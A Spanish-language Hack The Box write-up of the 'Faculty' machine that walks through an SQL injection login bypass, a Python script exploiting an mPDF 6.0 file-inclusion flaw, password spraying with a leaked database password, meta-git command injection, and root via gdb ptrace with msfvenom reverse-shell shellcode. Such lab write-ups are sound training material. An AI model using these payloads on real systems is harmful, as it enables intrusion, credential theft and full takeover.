Hack The Box: Faculty Writeup | Medium

Table of Contents

Hack The Box: Faculty Writeup

Welcome to my detailed writeup of the medium difficulty machine “Faculty” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.227.208 --ulimit 5000 -g
210.129.227.208 -> [22,80]
 1$ nmap -p22,80 -sCV 10.129.227.208 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-12 12:28 CEST
 3Nmap scan report for 10.129.227.208
 4Host is up (0.036s latency).
 5
 6PORT   STATE SERVICE VERSION
 722/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey: 
 9|   3072 e9:41:8c:e5:54:4d:6f:14:98:76:16:e7:29:2d:02:16 (RSA)
10|   256 43:75:10:3e:cb:78:e9:52:0e:eb:cf:7f:fd:f6:6d:3d (ECDSA)
11|_  256 c1:1c:af:76:2b:56:e8:b3:b8:8a:e9:69:73:7b:e6:f5 (ED25519)
1280/tcp open  http    nginx 1.18.0 (Ubuntu)
13|_http-title: Did not follow redirect to http://faculty.htb
14|_http-server-header: nginx/1.18.0 (Ubuntu)
15Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
16
17Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
18Nmap done: 1 IP address (1 host up) scanned in 7.81 seconds

UDP Enumeration

 1$ sudo nmap --top-ports 1500 10.129.227.208 -sU --min-rate 5000 -n -Pn -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-12 12:29 CEST
 3Nmap scan report for 10.129.227.208
 4Host is up (0.036s latency).
 5Not shown: 1495 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 7965/udp   closed unknown
 81046/udp  closed wfremotertm
 910080/udp closed amanda
1030932/udp closed unknown
1149168/udp closed unknown
12
13Nmap done: 1 IP address (1 host up) scanned in 0.83 seconds

Detectamos un dominio, faculty.htb, lo añadimos al /etc/hosts . Además solo vemos el puerto 80/TCP como punto de entrada.

HTTP Enumeration

Vemos que se está utilizando una especie de CMS por detrás. Write-up Image

Fuzzeando el sitio web encontramos un panel de inicio de sesión administrativo en /admin/login.php Write-up Image

Probando una inyección SQL básica para burlar este panel de autenticación funciona. Write-up Image

Write-up Image

Local File Inclusion

En http://faculty.htb/admin/index.php?page=faculty Detectamos varios usuarios, vamos a crear una lista de usuarios con estos. Write-up Image

Además vemos una función para generar reportes en PDF. Esto lo hemos visto en varias máquinas donde quizás, la librería/herramienta utilizándose por detrás para generar estos PDF’s tenga alguna vulnerabilidad. Así que vamos a revisar los metadatos Write-up Image

Le damos click y se nos redirecciona a una URL http://faculty.htb/mpdf/tmp/OKbUpf04MKEJugxPYIiF75kwHz.pdf

 1$ exiftool pdf.pdf 
 2ExifTool Version Number         : 12.57
 3File Name                       : pdf.pdf
 4Directory                       : .
 5File Size                       : 1781 bytes
 6File Modification Date/Time     : 2024:08:12 10:42:56+02:00
 7File Access Date/Time           : 2024:08:12 12:42:31+02:00
 8File Inode Change Date/Time     : 2024:08:12 12:42:36+02:00
 9File Permissions                : -rw-r--r--
10File Type                       : PDF
11File Type Extension             : pdf
12MIME Type                       : application/pdf
13PDF Version                     : 1.4
14Linearized                      : No
15Page Count                      : 1
16Page Layout                     : OneColumn
17Producer                        : mPDF 6.0
18Create Date                     : 2024:08:12 09:42:56+01:00
19Modify Date                     : 2024:08:12 09:42:56+01:00

En la columna Producer vemos mPDF 6.0

Y vemos que existe un LFI asociado a esta herramienta, y que quizás sea vulnerable. Write-up Image

Revisando el exploit, debemos inyectar un payload el cual en la etiqueta annotation se introduce el nombre del archivo que queremos incluir a la hora de generar el PDF, pero nos preguntamos, ¿Dónde incluimos este payload?

Con burpsuite podemos interceptar las peticiones para hacernos una idea de como funciona por detrás. A la hora de generar el PDF, primero se realiza una petición POST a /admin/download.php con una data.

Write-up Image

Podemos hacer un base64 -d a esta data y vemos un “churro” de información URL encodeada dos veces. Con CyberChef podemos decodificar esta información para verla mejor.

Y lo que se tramita es la data en HTML para generar el PDF. Así que podríamos probar a inyectar el payload para el LFI aquí. Write-up Image

Con este PoC generamos el payload.

Write-up Image

Ahora lo reemplazamos y me el nombre del archivo PDF generado. Write-up Image

Lo consultamos y viene un archivo adjunto, lo descargamos… Write-up Image

¡Y tenemos LFI!

 1$ cat /home/pointedsec/Downloads/passwd  | tail -n 10
 2landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
 3pollinate:x:110:1::/var/cache/pollinate:/bin/false
 4sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
 5systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
 6lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
 7mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false
 8gbyolo:x:1000:1000:gbyolo:/home/gbyolo:/bin/bash
 9postfix:x:113:119::/var/spool/postfix:/usr/sbin/nologin
10developer:x:1001:1002:,,,:/home/developer:/bin/bash
11usbmux:x:114:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

Automating the Local File Inclusion

Como el LFI es un poco tedioso, vamos a scriptearlo con Python.

Mientras estaba scripteando el LFI, me dí cuenta de que no se necesita una cookie de sesión como administrador para generar el PDF. Esto aumentaría la criticidad de la vulnerabilidad ya que podríamos conseguir LFI sin estar autenticados.

Este es el script

 1#!/usr/bin/python3
 2import requests
 3from urllib.parse import quote
 4from base64 import b64encode
 5import PyPDF2
 6from PyPDF2 import PdfReader
 7import signal
 8import os
 9
10URL = "http://faculty.htb/admin/download.php"
11PDF_URL = "http://faculty.htb/mpdf/tmp/<FILENAME>"
12
13def def_handler(x,y):
14    print("[!] Saliendo")
15    os.system("rm temp.pdf")
16    exit(1)
17
18signal.signal(signal.SIGINT,def_handler)
19
20def extract_attachment_from_pdf(pdf_file):
21    with open(pdf_file, "rb") as f:
22        reader = PdfReader(f)
23
24        for page_num, page in enumerate(reader.pages):
25            if '/Annots' in page:
26                annotations = page['/Annots']
27                for annot in annotations:
28                    annot_obj = annot.get_object()
29                    if '/Subtype' in annot_obj and annot_obj['/Subtype'] == '/FileAttachment':
30                        file_spec = annot_obj['/FS']
31                        embedded_file = file_spec['/EF']['/F']
32                        file_data = embedded_file.get_data()
33                        file_name = file_spec['/F']
34                        
35                        # Mostramos el contenido
36                        print(file_data.decode('utf-8'))
37
38def payload_gen(fname):
39    payload = f'<annotation file="{fname}" content="{fname}" icon="Graph" title="Attached File: {fname}" pos-x="195" />'
40    encoded_payload = quote(payload)
41    base64enc = b64encode(encoded_payload.encode())
42    return base64enc
43
44def do_request(file):
45    headers = {
46        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
47    }
48    data = {
49        "pdf": payload_gen(file)
50    }
51    r = requests.post(URL, headers=headers, data=data)
52    return r.text.strip()
53
54def lfi():
55    file = input("Archivo: ")
56    url = PDF_URL.replace("<FILENAME>", do_request(file))
57    r = requests.get(url)
58    
59    # Almacenamos el PDF temporalmente
60    with open("temp.pdf", "wb") as f:
61        f.write(r.content)
62
63    extract_attachment_from_pdf("temp.pdf")
64    
65
66if __name__ == "__main__":
67    while True:
68        lfi()

Funcionamiento…

 1$ python3 lfi.py
 2Archivo: /etc/passwd
 3root:x:0:0:root:/root:/bin/bash
 4daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 5bin:x:2:2:bin:/bin:/usr/sbin/nologin
 6sys:x:3:3:sys:/dev:/usr/sbin/nologin
 7sync:x:4:65534:sync:/bin:/bin/sync
 8games:x:5:60:games:/usr/games:/usr/sbin/nologin
 9man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
10lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
11mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
12news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
13uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
14proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
15www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
16backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
17list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
18irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
19gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
20nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
21systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
22systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
23systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
24messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
25syslog:x:104:110::/home/syslog:/usr/sbin/nologin
26_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
27tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
28uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
29tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
30landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
31pollinate:x:110:1::/var/cache/pollinate:/bin/false
32sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
33systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
34lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
35mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false
36gbyolo:x:1000:1000:gbyolo:/home/gbyolo:/bin/bash
37postfix:x:113:119::/var/spool/postfix:/usr/sbin/nologin
38developer:x:1001:1002:,,,:/home/developer:/bin/bash
39usbmux:x:114:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

Vamos a añadir a los usuarios gbyolo y developer

Foothold

Supongo que existirá una base de datos por detrás, así que mi meta es conseguir estas credenciales para ver si se están reutilizando con algún usuario.

Vamos a cargar el archivo index.php que corresponde a /admin/index.php

  1<!DOCTYPE html>
  2<html lang="en">
  3	
  4<?php session_start(); ?>
  5<head>
  6  <meta charset="utf-8">
  7  <meta content="width=device-width, initial-scale=1.0" name="viewport">
  8
  9  <title>School Faculty Scheduling System</title>
 10 	
 11
 12<?php
 13  if(!isset($_SESSION['login_id']))
 14    header('location:login.php');
 15 include('./header.php'); 
 16 // include('./auth.php'); 
 17 ?>
 18
 19</head>
 20<style>
 21	body{
 22        background: #80808045;
 23  }
 24  .modal-dialog.large {
 25    width: 80% !important;
 26    max-width: unset;
 27  }
 28  .modal-dialog.mid-large {
 29    width: 50% !important;
 30    max-width: unset;
 31  }
 32  #viewer_modal .btn-close {
 33    position: absolute;
 34    z-index: 999999;
 35    /*right: -4.5em;*/
 36    background: unset;
 37    color: white;
 38    border: unset;
 39    font-size: 27px;
 40    top: 0;
 41}
 42#viewer_modal .modal-dialog {
 43        width: 80%;
 44    max-width: unset;
 45    height: calc(90%);
 46    max-height: unset;
 47}
 48  #viewer_modal .modal-content {
 49       background: black;
 50    border: unset;
 51    height: calc(100%);
 52    display: flex;
 53    align-items: center;
 54    justify-content: center;
 55  }
 56  #viewer_modal img,#viewer_modal video{
 57    max-height: calc(100%);
 58    max-width: calc(100%);
 59  }
 60
 61</style>
 62
 63<body>
 64	<?php include 'topbar.php' ?>
 65	<?php include 'navbar.php' ?>
 66  <div class="toast" id="alert_toast" role="alert" aria-live="assertive" aria-atomic="true">
 67    <div class="toast-body text-white">
 68    </div>
 69  </div>
 70  <main id="view-panel" >
 71      <?php $page = isset($_GET['page']) ? $_GET['page'] :'home'; 
 72            $valid_pages = array("home", "courses", "subjects", "faculty", "schedule", "users");
 73            $page = in_array($page, $valid_pages) ? $page : 'home'; ?>
 74        <?php include $page.'.php' ?>
 75  
 76
 77  </main>
 78
 79  <div id="preloader"></div>
 80  <a href="#" class="back-to-top"><i class="icofont-simple-up"></i></a>
 81
 82
 83  <div class="modal fade" id="uni_modal" role='dialog'>
 84    <div class="modal-dialog modal-md" role="document">
 85      <div class="modal-content">
 86        <div class="modal-header">
 87        <h5 class="modal-title"></h5>
 88      </div>
 89      <div class="modal-body">
 90      </div>
 91      <div class="modal-footer">
 92        <button type="button" class="btn btn-primary" id='submit' onclick="$('#uni_modal form').submit()">Save</button>
 93        <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button>
 94      </div>
 95      </div>
 96    </div>
 97  </div>
 98  <div class="modal fade" id="confirm_modal" role='dialog'>
 99    <div class="modal-dialog modal-md" role="document">
100      <div class="modal-content">
101        <div class="modal-header">
102        <h5 class="modal-title">Confirmation</h5>
103      </div>
104      <div class="modal-body">
105        <div id="delete_content"></div>
106      </div>
107      <div class="modal-footer">
108        <button type="button" class="btn btn-primary" id='confirm' onclick="">Continue</button>
109        <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
110      </div>
111      </div>
112    </div>
113  </div>
114  <div class="modal fade" id="viewer_modal" role='dialog'>
115    <div class="modal-dialog modal-md" role="document">
116      <div class="modal-content">
117              <button type="button" class="btn-close" data-dismiss="modal"><span class="fa fa-times"></span></button>
118              <img src="" alt="">
119      </div>
120    </div>
121  </div>
122</body>
123<script>
124	 window.start_load = function(){
125    $('body').prepend('<di id="preloader2"></di>')
126  }
127  window.end_load = function(){
128    $('#preloader2').fadeOut('fast', function() {
129        $(this).remove();
130      })
131  }
132 window.viewer_modal = function($src = ''){
133    start_load()
134    var t = $src.split('.')
135    t = t[1]
136    if(t =='mp4'){
137      var view = $("<video src='"+$src+"' controls autoplay></video>")
138    }else{
139      var view = $("<img src='"+$src+"' />")
140    }
141    $('#viewer_modal .modal-content video,#viewer_modal .modal-content img').remove()
142    $('#viewer_modal .modal-content').append(view)
143    $('#viewer_modal').modal({
144            show:true,
145            backdrop:'static',
146            keyboard:false,
147            focus:true
148          })
149          end_load()  
150
151}
152  window.uni_modal = function($title = '' , $url='',$size=""){
153    start_load()
154    $.ajax({
155        url:$url,
156        error:err=>{
157            console.log()
158            alert("An error occured")
159        },
160        success:function(resp){
161            if(resp){
162                $('#uni_modal .modal-title').html($title)
163                $('#uni_modal .modal-body').html(resp)
164                if($size != ''){
165                    $('#uni_modal .modal-dialog').addClass($size)
166                }else{
167                    $('#uni_modal .modal-dialog').removeAttr("class").addClass("modal-dialog modal-md")
168                }
169                $('#uni_modal').modal({
170                  show:true,
171                  backdrop:'static',
172                  keyboard:false,
173                  focus:true
174                })
175                end_load()
176            }
177        }
178    })
179}
180window._conf = function($msg='',$func='',$params = []){
181     $('#confirm_modal #confirm').attr('onclick',$func+"("+$params.join(',')+")")
182     $('#confirm_modal .modal-body').html($msg)
183     $('#confirm_modal').modal('show')
184  }
185   window.alert_toast= function($msg = 'TEST',$bg = 'success'){
186      $('#alert_toast').removeClass('bg-success')
187      $('#alert_toast').removeClass('bg-danger')
188      $('#alert_toast').removeClass('bg-info')
189      $('#alert_toast').removeClass('bg-warning')
190
191    if($bg == 'success')
192      $('#alert_toast').addClass('bg-success')
193    if($bg == 'danger')
194      $('#alert_toast').addClass('bg-danger')
195    if($bg == 'info')
196      $('#alert_toast').addClass('bg-info')
197    if($bg == 'warning')
198      $('#alert_toast').addClass('bg-warning')
199    $('#alert_toast .toast-body').html($msg)
200    $('#alert_toast').toast({delay:3000}).toast('show');
201  }
202  $(document).ready(function(){
203    $('#preloader').fadeOut('fast', function() {
204        $(this).remove();
205      })
206  })
207  $('.datetimepicker').datetimepicker({
208      format:'Y/m/d H:i',
209      startDate: '+3d'
210  })
211  $('.select2').select2({
212    placeholder:"Please select here",
213    width: "100%"
214  })
215</script>	
216</html>

De este archivo podemos comprobar el archivo topbar.php

Podemos saltar al archivo manage_user.php Write-up Image

Y en este archivo vemos que se incluye un archivo db_connect.php que probablemente tenga credenciales de base de datos.

1include('db_connect.php');
2session_start();
3if(isset($_GET['id'])){
4$user = $conn->query("SELECT * FROM users where id =".mysql_real_escape_string($_GET['id']));

db_connect.php

1<?php 
2
3$conn= new mysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')or die("Could not connect to mysql".mysqli_error($con));

Y con hydra podemos hacer password spraying a todos los usuarios..

 1$ hydra -L users.txt -p 'Co.met06aci.dly53ro.per' 10.129.227.208 ssh
 2Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
 3
 4Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-12 13:25:17
 5[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
 6[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:6/p:1), ~1 try per task
 7[DATA] attacking ssh://10.129.227.208:22/
 8[22][ssh] host: 10.129.227.208   login: gbyolo   password: Co.met06aci.dly53ro.per
 91 of 1 target successfully completed, 1 valid password found
10Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-12 13:25:20

Y podemos acceder por SSH como el usuario gbyolo

 1$ sshpass -p 'Co.met06aci.dly53ro.per' ssh gbyolo@10.129.227.208
 2Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)
 3
 4 * Documentation:  https://help.ubuntu.com
 5 * Management:     https://landscape.canonical.com
 6 * Support:        https://ubuntu.com/advantage
 7
 8  System information as of Mon Aug 12 11:26:43 CEST 2024
 9
10  System load:           0.03
11  Usage of /:            75.2% of 4.67GB
12  Memory usage:          36%
13  Swap usage:            0%
14  Processes:             226
15  Users logged in:       0
16  IPv4 address for eth0: 10.129.227.208
17  IPv6 address for eth0: dead:beef::250:56ff:fe94:8329
18
19
200 updates can be applied immediately.
21
22
23The list of available updates is more than a week old.
24To check for new updates run: sudo apt update
25Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
26
27
28You have mail.
29gbyolo@faculty:~$ id
30uid=1000(gbyolo) gid=1000(gbyolo) groups=1000(gbyolo)

La flag de usuario no está en el directorio personal de trabajo de gbyolo así que supongo que deberemos migrar al usuario developer

User Pivoting

Si revisamos los mails de este usuario, encontramos un mail de developer diciendo que tenemos acceso para gestionar los repositorios git del grupo de la facultad

 1gbyolo@faculty:/home$ mail
 2"/var/mail/gbyolo": 1 message 1 unread
 3>U   1 developer@faculty. Tue Nov 10 15:03  16/623   Faculty group
 4? 
 5Return-Path: <developer@faculty.htb>
 6X-Original-To: gbyolo@faculty.htb
 7Delivered-To: gbyolo@faculty.htb
 8Received: by faculty.htb (Postfix, from userid 1001)
 9	id 0399E26125A; Tue, 10 Nov 2020 15:03:02 +0100 (CET)
10Subject: Faculty group
11To: <gbyolo@faculty.htb>
12X-Mailer: mail (GNU Mailutils 3.7)
13Message-Id: <20201110140302.0399E26125A@faculty.htb>
14Date: Tue, 10 Nov 2020 15:03:02 +0100 (CET)
15From: developer@faculty.htb
16X-IMAPbase: 1605016995 2
17Status: O
18X-UID: 1
19
20Hi gbyolo, you can now manage git repositories belonging to the faculty group. Please check and if you have troubles just let me know!\ndeveloper@faculty.htb

Con sudo -l podemos ver que tenemos permisos para ejecutar como el usuario developer el binario /usr/local/bin/meta-git

1gbyolo@faculty:/home$ sudo -l
2[sudo] password for gbyolo: 
3Matching Defaults entries for gbyolo on faculty:
4    env_reset, mail_badpass,
5    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
6
7User gbyolo may run the following commands on faculty:
8    (developer) /usr/local/bin/meta-git

Y podemos ver que es un enlace simbólico a ../lib/node_modules/meta-git/bin/meta-git

1/usr/local/bin/meta-git: symbolic link to ../lib/node_modules/meta-git/bin/meta-git

Command Injection

Investigando encontramos que hay una forma de ejecutar comandos utilizando este módulo de node. https://hackerone.com/reports/728040 Write-up Image

Podemos ver que efectivamente, podemos inyectar un comando.

1gbyolo@faculty:/tmp$ sudo -u developer /usr/local/bin/meta-git clone 'test||id'
2meta git cloning into 'test||id' at test||id
3
4test||id:
5fatal: repository 'test' does not exist
6id: ‘test’: no such user
7uid=1001(developer) gid=1002(developer) groups=1002(developer),1001(debug),1003(faculty)
8...

Ahora, podemos copiar nuestra clave pública al /home/developer/.ssh/authorized_keys para poder acceder por SSH como este usuario.

1gbyolo@faculty:/tmp$ sudo -u developer /usr/local/bin/meta-git clone 'test||echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCs/aNkke9LIHvwrIqFLiLavlSa5gVzvG6EibfhsRDbRY0DLzVMaWw2TmVJ/sjcWBg7DqGFJaJ70cqh7rCX9WYQnUTQUoo2yQ4yRG6UxDOEzD6Yt2JbxEZdsZqX7S1NY33zv9vt......." > /home/developer/.ssh/authorized_keys'

Y ya hemos migrado de usuario.

 1$ ssh developer@10.129.227.208
 2Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)
 3
 4 * Documentation:  https://help.ubuntu.com
 5 * Management:     https://landscape.canonical.com
 6 * Support:        https://ubuntu.com/advantage
 7
 8  System information as of Mon Aug 12 11:39:29 CEST 2024
 9
10  System load:           0.01
11  Usage of /:            75.4% of 4.67GB
12  Memory usage:          39%
13  Swap usage:            0%
14  Processes:             230
15  Users logged in:       1
16  IPv4 address for eth0: 10.129.227.208
17  IPv6 address for eth0: dead:beef::250:56ff:fe94:8329
18
19
200 updates can be applied immediately.
21
22
23The list of available updates is more than a week old.
24To check for new updates run: sudo apt update
25Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
26
27
28developer@faculty:~$ id
29uid=1001(developer) gid=1002(developer) groups=1002(developer),1001(debug),1003(faculty)

Y podemos leer la flag

1developer@faculty:~$ cat user.txt 
2d2dcd829adb758f...

Privilege Escalation

Podemos descubrir que tenemos permisos de grupo para ejecutar gdb

1developer@faculty:~$ find / -type f -group debug 2>/dev/null
2/usr/bin/gdb
3developer@faculty:~$ ls -la /usr/bin/gdb
4-rwxr-x--- 1 root debug 8440200 Dec  8  2021 /usr/bin/gdb

Pero no tenemos permiso SUID en el binario.

Pero listando capabilities…

1developer@faculty:~$ getcap -r / 2>/dev/null
2/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
3/usr/bin/gdb = cap_sys_ptrace+ep
4/usr/bin/ping = cap_net_raw+ep
5/usr/bin/traceroute6.iputils = cap_net_raw+ep
6/usr/bin/mtr-packet = cap_net_raw+ep

Abusing SYS_PTRACE

La capacidad CAP_SYS_PTRACE en Linux es una capacidad del kernel que otorga permisos especiales relacionados con la depuración y la inspección de procesos. Aquí te explico qué te permite hacer:

1. Depuración de Procesos

2. Acceso a la Memoria y Estado de Otros Procesos

3. Acciones Avanzadas de Depuración

4. Saltarse Restricciones de Seguridad

Riesgos de Seguridad

En resumen, que aprovechándonos de esta capability podemos escalar privilegios ya que se nos permite adjuntar gdb a un proceso que esté ejecutando root y acto seguido modificar la memoria para conseguir ejecutar un comando a nivel de sistema.

Hay un artículo en HackTricks que justo contempla este caso.

Creamos nuestro shellcode para mandarnos una reverse shell.

1$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.13 LPORT=443 -f py -o revshell.py
2[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
3[-] No arch selected, selecting arch: x64 from the payload
4No encoder specified, outputting raw payload
5Payload size: 74 bytes
6Final size of py file: 384 bytes
7Saved as: revshell.py

Utilizamos el script que se nos adjunta en HackTricks y simplemente modificamos el shellcode.

 1$ python3 revshell.py 
 2set {long}($rip+0) = 0x296a909090909090
 3set {long}($rip+8) = 0x5e016a5f026a9958
 4set {long}($rip+16) = 0x0002b9489748050f
 5set {long}($rip+24) = 0x48510d0e0a0abb01
 6set {long}($rip+32) = 0x582a6a5a106ae689
 7set {long}($rip+40) = 0xceff485e036a050f
 8set {long}($rip+48) = 0x6af675050f58216a
 9set {long}($rip+56) = 0x69622fbb4899583b
10set {long}($rip+64) = 0x8948530068732f6e
11set {long}($rip+72) = 0x050fe689485752e7

Ahora con ps aux | grep root podemos buscar un proceso que sea de root

En mi caso elegiré el PID 1549 que corresponde a postfix.

1developer@faculty:~$ gdb -p 1549

Ahora copiamos y pegamos las líneas generadas anteriormente. Write-up Image

Nos ponemos en escucha con pwncat-cs por el puerto 443. Write-up Image

Y si continuamos el flujo del programa..

1(gdb) c

Conseguimos la reverse shell como el usuario root. Write-up Image

Podemos leer la flag de root

1(remote) root@faculty:/var/spool/postfix# cat /root/root.txt
2bdd86839ae249a272...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Faculty   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #HTTP Enumeration   #SQL Injection   #Local File Inclusion   #Python Scripting   #Scripting   #Information Leakage   #Password Spraying   #Command Injection   #Abusing SYS_PTRACE